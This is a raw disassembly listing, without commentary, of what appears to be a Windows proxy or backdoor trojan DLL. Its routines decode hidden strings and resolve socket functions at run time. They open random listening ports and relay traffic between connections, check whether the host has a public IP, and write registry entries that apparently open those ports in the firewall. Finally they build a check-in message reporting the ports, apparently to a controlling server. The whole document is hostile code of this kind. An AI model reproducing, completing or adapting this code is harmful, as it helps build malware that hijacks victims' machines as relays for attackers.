		mov	eax, [ebp+name]
		push	eax		; name
		call	ds:gethostbyname	; gethostbyname
		mov	[ebp+var_C504],	eax
		push	4		; Size
		mov	ecx, [ebp+var_C504]
		mov	edx, [ecx+0Ch]
		mov	eax, [edx]
		push	eax		; Src
		lea	ecx, [ebp+var_C4F8]
		push	ecx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		jmp	short loc_100167C9
; ---------------------------------------------------------------------------


loc_100167BB:				; CODE XREF: sub_10015BF1+B96j
		mov	edx, [ebp+name]
		mov	eax, [edx]
		mov	[ebp+var_C4F8],	eax


loc_100167C9:				; CODE XREF: sub_10015BF1+BC8j
		push	10h
		lea	ecx, [ebp+var_C4FC]
		push	ecx
		mov	edx, [ebp+var_C3A0]
		push	edx
		call	dword_10073F84	; bind
		mov	[ebp+var_C518],	eax
		mov	eax, [ebp+var_C518]
		mov	[ebp+len], eax
		cmp	[ebp+len], 0
		jz	short loc_10016818
		mov	ecx, [ebp+len]
		push	ecx		; int
		mov	edx, [ebp+s]
		push	edx		; s
		call	sub_10014769
		add	esp, 8
		or	eax, 0FFFFFFFFh
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016818:				; CODE XREF: sub_10015BF1+C07j
		push	5
		mov	eax, [ebp+var_C3A0]
		push	eax
		call	dword_10073F88
		mov	[ebp+var_C51C],	eax
		mov	ecx, [ebp+var_C51C]
		mov	[ebp+len], ecx
		cmp	[ebp+len], 0
		jz	short loc_10016860
		mov	edx, [ebp+len]
		push	edx		; int
		mov	eax, [ebp+s]
		push	eax		; s
		call	sub_10014769
		add	esp, 8
		or	eax, 0FFFFFFFFh
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016860:				; CODE XREF: sub_10015BF1+C4Fj
		mov	ecx, [ebp+var_C3A0]
		push	ecx		; s
		mov	edx, [ebp+s]
		push	edx		; int
		call	sub_10014871
		add	esp, 8
		mov	[ebp+var_C500],	10h
		lea	eax, [ebp+var_C500]
		push	eax
		lea	ecx, [ebp+var_C4FC]
		push	ecx
		mov	edx, [ebp+var_C3A0]
		push	edx
		call	dword_10073F80	; accept
		mov	[ebp+var_C520],	eax
		mov	eax, [ebp+var_C520]
		mov	[ebp+var_C3A0],	eax
		cmp	[ebp+var_C3A0],	0FFFFFFFFh
		jnz	short loc_100168D4
		mov	ecx, [ebp+len]
		push	ecx		; int
		mov	edx, [ebp+s]
		push	edx		; s
		call	sub_10014769
		add	esp, 8
		or	eax, 0FFFFFFFFh
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_100168D4:				; CODE XREF: sub_10015BF1+CC3j
		mov	eax, [ebp+var_C3A0]
		push	eax		; s
		mov	ecx, [ebp+s]
		push	ecx		; int
		call	sub_10014871
		add	esp, 8


loc_100168EA:				; CODE XREF: sub_10015BF1+AA6j
					; sub_10015BF1+B70j
		push	4		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpParameter], eax
		mov	edx, [ebp+lpParameter]
		mov	eax, [ebp+var_C3A0]
		mov	[edx+4], eax
		mov	ecx, [ebp+lpParameter]
		mov	edx, [ebp+s]
		mov	[ecx], edx
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	0		; dwCreationFlags
		mov	ecx, [ebp+lpParameter]
		push	ecx		; lpParameter
		push	offset sub_10014916 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		mov	[ebp+var_14], eax


loc_1001692E:				; CODE XREF: sub_10015BF1:loc_10016A78j
		mov	edx, 1
		test	edx, edx
		jz	loc_10016A7D


loc_1001693B:				; CODE XREF: sub_10015BF1+DC9j
		mov	[ebp+var_C508],	0
		jmp	short loc_10016956
; ---------------------------------------------------------------------------


loc_10016947:				; CODE XREF: sub_10015BF1:loc_1001697Bj
		mov	eax, [ebp+var_C508]
		add	eax, 1
		mov	[ebp+var_C508],	eax


loc_10016956:				; CODE XREF: sub_10015BF1+D54j
		mov	ecx, [ebp+var_C508]
		cmp	ecx, [ebp+readfds.fd_count]
		jnb	short loc_1001697D
		mov	edx, [ebp+var_C508]
		mov	eax, [ebp+edx*4+readfds.fd_array]
		cmp	eax, [ebp+s]
		jnz	short loc_1001697B
		jmp	short loc_1001697D
; ---------------------------------------------------------------------------


loc_1001697B:				; CODE XREF: sub_10015BF1+D86j
		jmp	short loc_10016947
; ---------------------------------------------------------------------------


loc_1001697D:				; CODE XREF: sub_10015BF1+D71j
					; sub_10015BF1+D88j
		mov	ecx, [ebp+var_C508]
		cmp	ecx, [ebp+readfds.fd_count]
		jnz	short loc_100169B6
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_100169B6
		mov	edx, [ebp+var_C508]
		mov	eax, [ebp+s]
		mov	[ebp+edx*4+readfds.fd_array], eax
		mov	ecx, [ebp+readfds.fd_count]
		add	ecx, 1
		mov	[ebp+readfds.fd_count],	ecx


loc_100169B6:				; CODE XREF: sub_10015BF1+D98j
					; sub_10015BF1+DA1j
		xor	edx, edx
		test	edx, edx
		jnz	loc_1001693B
		lea	eax, [ebp+timeout]
		push	eax		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	ecx, [ebp+readfds]
		push	ecx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	0C350h		; len
		lea	edx, [ebp+var_C368]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10016A1B
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016A1B:				; CODE XREF: sub_10015BF1+E11j
		cmp	[ebp+len], 0
		jnz	short loc_10016A38
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	short loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016A38:				; CODE XREF: sub_10015BF1+E31j
		push	0		; flags
		mov	eax, [ebp+len]
		push	eax		; len
		lea	ecx, [ebp+var_C368]
		push	ecx		; buf
		mov	edx, [ebp+var_C3A0]
		push	edx		; s
		call	ds:send	; send
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10016A78
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	short loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016A78:				; CODE XREF: sub_10015BF1+E71j
		jmp	loc_1001692E
; ---------------------------------------------------------------------------


loc_10016A7D:				; CODE XREF: sub_10015BF1+D44j
		jmp	short loc_10016A97
; ---------------------------------------------------------------------------


loc_10016A7F:				; DATA XREF: .rdata:stru_10020318o
		mov	[ebp+var_C50C],	0
		mov	eax, offset loc_10016A8F
		retn
; ---------------------------------------------------------------------------


loc_10016A8F:				; DATA XREF: sub_10015BF1+E98o
		mov	eax, [ebp+var_C50C]
		jmp	short loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016A97:				; CODE XREF: sub_10015BF1:loc_10016A7Dj
		mov	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_10016AA0:				; CODE XREF: sub_10015BF1+12Fj
					; sub_10015BF1+213j ...
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10015BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10016AB3(u_short hostshort)

sub_10016AB3	proc near		; CODE XREF: sub_10016C4C+6F3p

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
lpParameter	= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
hostshort	= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	6		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_10016AD8
		mov	eax, 0FFFFFFFEh
		jmp	loc_10016B6B
; ---------------------------------------------------------------------------


loc_10016AD8:				; CODE XREF: sub_10016AB3+19j
		mov	[ebp+var_10], 2
		mov	ax, [ebp+hostshort]
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], 0
		push	10h
		lea	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	dword_10073F84	; bind
		test	eax, eax
		jz	short loc_10016B0F
		mov	eax, 0FFFFFFFEh
		jmp	short loc_10016B6B
; ---------------------------------------------------------------------------


loc_10016B0F:				; CODE XREF: sub_10016AB3+53j
		push	32h
		mov	eax, [ebp+var_14]
		push	eax
		call	dword_10073F88


loc_10016B1B:				; CODE XREF: sub_10016AB3+B1j
		mov	ecx, 1
		test	ecx, ecx
		jz	short loc_10016B66
		mov	[ebp+var_2C], 10h
		lea	edx, [ebp+var_2C]
		push	edx
		lea	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		call	dword_10073F80	; accept
		mov	[ebp+lpParameter], eax
		cmp	[ebp+lpParameter], 0FFFFFFFFh
		jnz	short loc_10016B4D
		mov	eax, 0FFFFFFFDh
		jmp	short loc_10016B6B
; ---------------------------------------------------------------------------


loc_10016B4D:				; CODE XREF: sub_10016AB3+91j
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	edx, [ebp+lpParameter]
		push	edx		; lpParameter
		push	offset sub_10015BF1 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		jmp	short loc_10016B1B
; ---------------------------------------------------------------------------


loc_10016B66:				; CODE XREF: sub_10016AB3+6Fj
		mov	eax, 1


loc_10016B6B:				; CODE XREF: sub_10016AB3+20j
					; sub_10016AB3+5Aj ...
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10016AB3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_10016B74:				; CODE XREF: .text:10016BB5j
		mov	eax, 1
		test	eax, eax
		jz	short loc_10016BB7
		cmp	dword_10073F78,	1
		jnb	short loc_10016BAA
		mov	ecx, dword_10073F78
		add	ecx, 1
		mov	dword_10073F78,	ecx
		push	0
		push	0
		push	0
		push	offset sub_10014B0F
		push	0
		push	0
		call	ds:CreateThread	; CreateThread


loc_10016BAA:				; CODE XREF: .text:10016B84j
		push	7D0h
		call	ds:Sleep	; Sleep
		jmp	short loc_10016B74
; ---------------------------------------------------------------------------


loc_10016BB7:				; CODE XREF: .text:10016B7Bj
		mov	eax, 1
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10016BBE(u_short hostshort)

sub_10016BBE	proc near		; CODE XREF: sub_10016C4C+673p

var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
hostshort	= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], 2
		mov	ax, [ebp+hostshort]
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], 0
		push	0		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_10016BF9
		xor	eax, eax
		jmp	short loc_10016C48
; ---------------------------------------------------------------------------


loc_10016BF9:				; CODE XREF: sub_10016BBE+35j
		push	10h
		lea	ecx, [ebp+var_14]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_10073F84	; bind
		test	eax, eax
		jz	short loc_10016C11
		xor	eax, eax
		jmp	short loc_10016C48
; ---------------------------------------------------------------------------


loc_10016C11:				; CODE XREF: sub_10016BBE+4Dj
		push	32h
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_10073F88
		test	eax, eax
		jz	short loc_10016C25
		xor	eax, eax
		jmp	short loc_10016C48
; ---------------------------------------------------------------------------


loc_10016C25:				; CODE XREF: sub_10016BBE+61j
		mov	ecx, [ebp+var_4]
		mov	dword_10073F34,	ecx
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		push	0		; lpParameter
		push	offset sub_10013E02 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		mov	eax, 1


loc_10016C48:				; CODE XREF: sub_10016BBE+39j
					; sub_10016BBE+51j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_10016BBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_10016C4C(LPVOID)

sub_10016C4C	proc near		; DATA XREF: DllMain(x,x,x)+1DAo

String2		= byte ptr -0B68h
Source		= byte ptr -0B28h
var_AE8		= dword	ptr -0AE8h
Str1		= dword	ptr -0AE4h
s		= dword	ptr -0AE0h
var_ADC		= dword	ptr -0ADCh
String1		= byte ptr -0AD8h
var_AD7		= byte ptr -0AD7h
FileName	= byte ptr -0AB8h
var_AB7		= byte ptr -0AB7h
cbBytesReturned	= dword	ptr -9B8h
WSAData		= WSAData ptr -9B4h
vOutBuffer	= dword	ptr -824h
var_820		= dword	ptr -820h
hModule		= dword	ptr -424h
Buffer		= dword	ptr -420h
hObject		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
lpBuffer	= dword	ptr -410h
NumberOfBytesWritten= dword ptr	-40Ch
hostshort	= word ptr -408h
Dest		= byte ptr -404h
var_403		= byte ptr -403h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0B68h
		push	edi
		lea	eax, [ebp+WSAData]
		push	eax		; lpWSAData
		push	202h		; wVersionRequested
		call	ds:WSAStartup	; WSAStartup
		mov	[ebp+String1], 0
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [ebp+var_AD7]
		rep stosd
		stosw
		stosb
		mov	[ebp+FileName],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_AB7]
		rep stosd
		stosw
		mov	[ebp+lpBuffer],	0
		mov	[ebp+Dest], 0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_403]
		rep stosd
		stosw
		stosb
		mov	dword ptr [ebp+hostshort], 0FFFFFFFFh
		mov	[ebp+Buffer], 0FFFFFFFFh
		mov	[ebp+Str1], 0
		push	offset aWs2_32	; "ws2_32"
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	[ebp+hModule], eax
		push	offset aAccept	; "accept"
		mov	ecx, [ebp+hModule]
		push	ecx		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	dword_10073F80,	eax
		push	offset aBind	; "bind"
		mov	edx, [ebp+hModule]
		push	edx		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	dword_10073F84,	eax
		push	offset dword_10073E34 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_100220A0
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpProcName
		mov	edx, [ebp+hModule]
		push	edx		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	dword_10073F88,	eax
		push	offset asc_10023E84 ; "--"
		lea	eax, [ebp+String1]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset dword_10073E34 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_1002208C
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpLibFileName
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	dword_10073E1C,	eax
		push	offset dword_10073E34 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022090
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpProcName
		mov	edx, dword_10073E1C
		push	edx		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	dword_10073F7C,	eax
		mov	eax, dword_10073E1C
		push	eax		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		cmp	dword_10073F7C,	0
		jz	short loc_10016DF8
		push	0
		lea	ecx, [ebp+var_414]
		push	ecx
		call	dword_10073F7C
		mov	[ebp+var_4], eax


loc_10016DD3:				; CODE XREF: sub_10016C4C+1AAj
		cmp	[ebp+var_4], 0
		jnz	short loc_10016DF8
		push	0EA60h		; dwMilliseconds
		call	ds:Sleep	; Sleep
		push	0
		lea	edx, [ebp+var_414]
		push	edx
		call	dword_10073F7C
		mov	[ebp+var_4], eax
		jmp	short loc_10016DD3
; ---------------------------------------------------------------------------


loc_10016DF8:				; CODE XREF: sub_10016C4C+173j
					; sub_10016C4C+18Bj
		push	offset dword_10073E34 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_100220CC
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		push	offset name	; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset name	; lpString2
		call	sub_10005BE3
		add	esp, 4
		test	eax, eax
		jnz	short loc_10016E55
		push	offset dword_10073E34 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_100220D0
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		push	offset name	; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_10016E55:				; CODE XREF: sub_10016C4C+1E1j
		mov	ecx, [ebp+var_414]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_10016E8A
		push	offset dword_10073E34 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_1002209C
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	ecx, [ebp+String1]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_10016E8A:				; CODE XREF: sub_10016C4C+214j
		mov	edx, [ebp+var_414]
		and	edx, 1
		test	edx, edx
		jz	short loc_10016EBF
		push	offset dword_10073E34 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022098
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	edx, [ebp+String1]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_10016EBF:				; CODE XREF: sub_10016C4C+249j
		mov	[ebp+var_ADC], 0
		push	0		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0FFFFFFFFh
		jz	loc_10016FEC
		push	0		; lpCompletionRoutine
		push	0		; lpOverlapped
		lea	eax, [ebp+cbBytesReturned]
		push	eax		; lpcbBytesReturned
		push	400h		; cbOutBuffer
		lea	ecx, [ebp+vOutBuffer]
		push	ecx		; lpvOutBuffer
		push	0		; cbInBuffer
		push	0		; lpvInBuffer
		push	48000016h	; dwIoControlCode
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:WSAIoctl	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jz	loc_10016FDF
		mov	eax, [ebp+vOutBuffer]
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0
		jbe	loc_10016FDF
		mov	[ebp+var_AE8], 0
		jmp	short loc_10016F52
; ---------------------------------------------------------------------------


loc_10016F43:				; CODE XREF: sub_10016C4C:loc_10016FDAj
		mov	ecx, [ebp+var_AE8]
		add	ecx, 1
		mov	[ebp+var_AE8], ecx


loc_10016F52:				; CODE XREF: sub_10016C4C+2F5j
		mov	edx, [ebp+var_AE8]
		cmp	edx, [ebp+var_418]
		jnb	short loc_10016FDF
		mov	eax, [ebp+var_AE8]
		mov	ecx, [ebp+eax*8+var_820]
		mov	edx, [ecx+4]
		push	edx		; in
		call	ds:inet_ntoa	; inet_ntoa
		mov	[ebp+Str1], eax
		push	3		; MaxCount
		push	offset a10_	; "10."
		mov	eax, [ebp+Str1]
		push	eax		; Str1
		call	ds:strncmp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_10016FDA
		push	8		; MaxCount
		push	offset a192_168_ ; "192.168."
		mov	ecx, [ebp+Str1]
		push	ecx		; Str1
		call	ds:strncmp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_10016FDA
		push	7		; MaxCount
		push	offset a172_16_	; "172.16."
		mov	edx, [ebp+Str1]
		push	edx		; Str1
		call	ds:strncmp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_10016FDA
		mov	[ebp+var_ADC], 1
		jmp	short loc_10016FDF
; ---------------------------------------------------------------------------


loc_10016FDA:				; CODE XREF: sub_10016C4C+34Aj
					; sub_10016C4C+365j ...
		jmp	loc_10016F43
; ---------------------------------------------------------------------------


loc_10016FDF:				; CODE XREF: sub_10016C4C+2CCj
					; sub_10016C4C+2E5j ...
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket


loc_10016FEC:				; CODE XREF: sub_10016C4C+296j
		call	sub_1000B536
		cmp	[ebp+var_ADC], 0
		jz	loc_10017346
		push	0		; Time
		call	ds:time	; time
		add	esp, 4
		push	eax		; Seed
		call	ds:srand	; srand
		add	esp, 4
		push	0FFh		; uSize
		lea	ecx, [ebp+FileName]
		push	ecx		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset dword_10073E34 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_1002206C
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	ecx, [ebp+FileName]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	edx, [ebp+FileName]
		push	edx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_100170C3
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesRead
		push	4		; nNumberOfBytesToRead
		lea	ecx, [ebp+Buffer]
		push	ecx		; lpBuffer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:ReadFile	; ReadFile
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesRead
		push	4		; nNumberOfBytesToRead
		lea	ecx, [ebp+hostshort]
		push	ecx		; lpBuffer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:ReadFile	; ReadFile
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_100170C3:				; CODE XREF: sub_10016C4C+42Aj
		cmp	[ebp+Buffer], 0
		jle	short loc_100170D9
		cmp	dword ptr [ebp+hostshort], 0
		jg	loc_100172B8


loc_100170D9:				; CODE XREF: sub_10016C4C+47Ej
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	loc_100172B8
		lea	edx, [ebp+String2]
		push	edx		; DstBuf
		push	0FFDCh		; int
		push	2710h		; int
		call	sub_100139D0
		add	esp, 0Ch
		lea	eax, [ebp+String2]
		push	eax		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+Buffer], eax
		push	0		; lpOverlapped
		lea	ecx, [ebp+NumberOfBytesWritten]
		push	ecx		; lpNumberOfBytesWritten
		push	4		; nNumberOfBytesToWrite
		lea	edx, [ebp+Buffer]
		push	edx		; lpBuffer
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		push	offset aTcp	; ":TCP"
		lea	ecx, [ebp+String2]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		lea	eax, [ebp+Source]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset dword_10073E34 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_100220B4
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	eax, [ebp+Source]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	3		; int
		lea	ecx, [ebp+Source]
		push	ecx		; Source
		lea	edx, [ebp+String2]
		push	edx		; lpValueName
		mov	eax, off_100220B0
		push	eax		; Str
		push	80000002h	; hKey
		call	sub_10002C3D
		add	esp, 14h
		lea	ecx, [ebp+String2]
		push	ecx		; DstBuf
		push	0FFDCh		; int
		push	2710h		; int
		call	sub_100139D0
		add	esp, 0Ch
		lea	edx, [ebp+String2]
		push	edx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	dword ptr [ebp+hostshort], eax
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	4		; nNumberOfBytesToWrite
		lea	ecx, [ebp+hostshort]
		push	ecx		; lpBuffer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:WriteFile	; WriteFile
		push	offset aTcp_0	; ":TCP"
		lea	eax, [ebp+String2]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		lea	ecx, [ebp+String2]
		push	ecx		; lpString2
		lea	edx, [ebp+Source]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset dword_10073E34 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_100220B4
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	edx, [ebp+Source]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	3		; int
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	ecx, [ebp+String2]
		push	ecx		; lpValueName
		mov	edx, off_100220B0
		push	edx		; Str
		push	80000002h	; hKey
		call	sub_10002C3D
		add	esp, 14h
		push	1		; int
		mov	eax, off_100220AC
		push	eax		; Source
		mov	ecx, off_100220A8
		push	ecx		; lpValueName
		mov	edx, off_100220A4
		push	edx		; Str
		push	80000002h	; hKey
		call	sub_10002C3D
		add	esp, 14h
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_100172B8:				; CODE XREF: sub_10016C4C+487j
					; sub_10016C4C+4B6j
		mov	ecx, [ebp+Buffer]
		push	ecx		; hostshort
		call	sub_10016BBE
		add	esp, 4
		mov	edx, dword ptr [ebp+hostshort]
		push	edx
		mov	eax, [ebp+Buffer]
		push	eax
		lea	ecx, [ebp+String1]
		push	ecx
		push	offset byte_10065ED8
		push	offset dword_10073E34 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022094
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset name
		push	offset aSSSCntSHpDSpD ;	"%s%s%s&cnt=%s&hp=%d&sp=%d"
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 20h
		push	5		; int
		push	0		; Source
		push	0		; lpFileName
		mov	edx, [ebp+lpBuffer]
		push	edx		; lpBuffer
		lea	eax, [ebp+Dest]
		push	eax		; lpString2
		call	sub_10005E66
		add	esp, 14h
		mov	[ebp+lpBuffer],	eax
		mov	ecx, dword ptr [ebp+hostshort]
		push	ecx		; hostshort
		call	sub_10016AB3
		jmp	short loc_100173A7
; ---------------------------------------------------------------------------


loc_10017346:				; CODE XREF: sub_10016C4C+3ACj
		push	offset aCb	; "CB"
		push	offset byte_10065ED8
		push	offset dword_10073E34 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022094
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset name
		push	offset aSSSCntS	; "%s%s%s&cnt=%s"
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 18h
		push	5		; int
		push	0		; Source
		push	0		; lpFileName
		mov	edx, [ebp+lpBuffer]
		push	edx		; lpBuffer
		lea	eax, [ebp+Dest]
		push	eax		; lpString2
		call	sub_10005E66
		add	esp, 14h
		mov	[ebp+lpBuffer],	eax


loc_100173A7:				; CODE XREF: sub_10016C4C+6F8j
		mov	eax, 1
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10016C4C	endp

; [0000002C BYTES: COLLAPSED FUNCTION __onexit.	PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
		align 2
; [00000006 BYTES: COLLAPSED FUNCTION strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcmp. PRESS KEYPAD "+" TO EXPAND]
